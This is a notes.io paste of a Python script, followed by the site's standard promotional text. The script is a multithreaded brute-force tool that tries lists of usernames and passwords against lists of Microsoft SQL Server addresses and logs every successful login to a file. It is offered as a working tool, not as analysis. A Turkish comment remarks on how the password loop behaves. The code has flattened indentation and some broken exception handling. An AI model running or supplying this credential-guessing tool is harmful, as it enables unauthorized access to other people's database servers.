NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

import sys
from threading import Thread, Lock
from time import sleep
import pymssql
from timeout_decorator import timeout_decorator

##timeout = 15
##thread_count = 3

def print(*args):
sys.stdout.write(" ".join(args) + "n")

def read_file(filename):
with open(filename, "r", encoding="utf8") as f:
return f.read()


def split_servers(text):
# [["server ip", "port"],["server ip2", "port2"], ...]
return [i.split(":", 1) for i in text.split()]

def split_credentials(text):
# [["username", "password"], ["username2", "password2"], ...]
return [i.split(";", 1) for i in text.split()]

class Mutex():

def __init__(self, value):
self.__value = value
self.__locked = False
self.__lock = Lock()

def __enter__(self):
## print("locked")
self.__lock.acquire()
self.__locked = True
return self.__value

def set(self, value):
assert self.__locked
self.__value = value

def get(self):
assert self.__locked
return self.__value

def __exit__(self, *args):
## print("unlocked")
self.__lock.release()
self.__locked = False
return False


@timeout_decorator.timeout(3, use_signals = False)
def make_connection(ip, port, username, password, timeout, verbose=False):
## print(ip, port, username, password)
## sleep(1)
## return False
try:
con = pymssql.connect(server=ip, port=port, user=username, password=password, login_timeout=3, timeout=timeout)
con.close()
except Exception as e:
...
print("Login failed {}:{}@{}t({})".format(username, password, ip, e))
except pymssql.InterfaceError:
...
print("A MSSQLDriverException has been caught.")
except pymssql.DatabaseError:
...
print("A MSSQLDatabaseException has been caught.")
else:
print("Connection established {}:{}@{}".format(username, password, ip))
log_success((ip, port), (username, password))
return True
finally:
...
return False

def log_success(server, credential):
with open("success_logs.txt", "a", encoding="cp1252") as logs:
logs.write("Server: " + server[0] + "tPort: " + server[1] + "tUsername: " + credential[0] + "tPassword: " +
credential[1] + "n")

def consumer(credentials_mutex, servers, atomic, timeout):
while True:
try:
with credentials_mutex as credentials:
credential = credentials[-1]
except IndexError:
break
else:
username, password = credential

with atomic as index:
atomic.set(index + 1)
if index == len(servers) - 1:
atomic.set(0)
with credentials_mutex as credentials:
print("popped!!!")
credentials.pop()


server = servers[index]
ip, port = server
## print("Connection", ip, port, username, password)
try:
make_connection(ip, port, username, password, timeout, VERBOSE)
except timeout_decorator.TimeoutError:
print("A TimeoutError has been caught.")


if __name__ == '__main__':
## sys.argv = ["", "servers.txt", "credentials.txt", "3", "10"]
server_file = sys.argv[1]
credential_file = sys.argv[2]
timeout = int(sys.argv[3])
thread_count = int(sys.argv[4])
VERBOSE = False

server_list = split_servers(read_file(server_file))
credential_list = split_credentials(read_file(credential_file))

atomic = Mutex(0)
credentials_mutex = Mutex(credential_list)

threads = [Thread(target = consumer, args = (credentials_mutex, server_list, atomic, timeout)) for i in range(thread_count)]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
print("Program finished.")

# Ben SQL bağlantısı ile alakalı kısımları sildiğimde 2. şifreye de değer şifrelere de geçiyor, sonraki araçta çikti kontrolu yapabilirsin.

     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.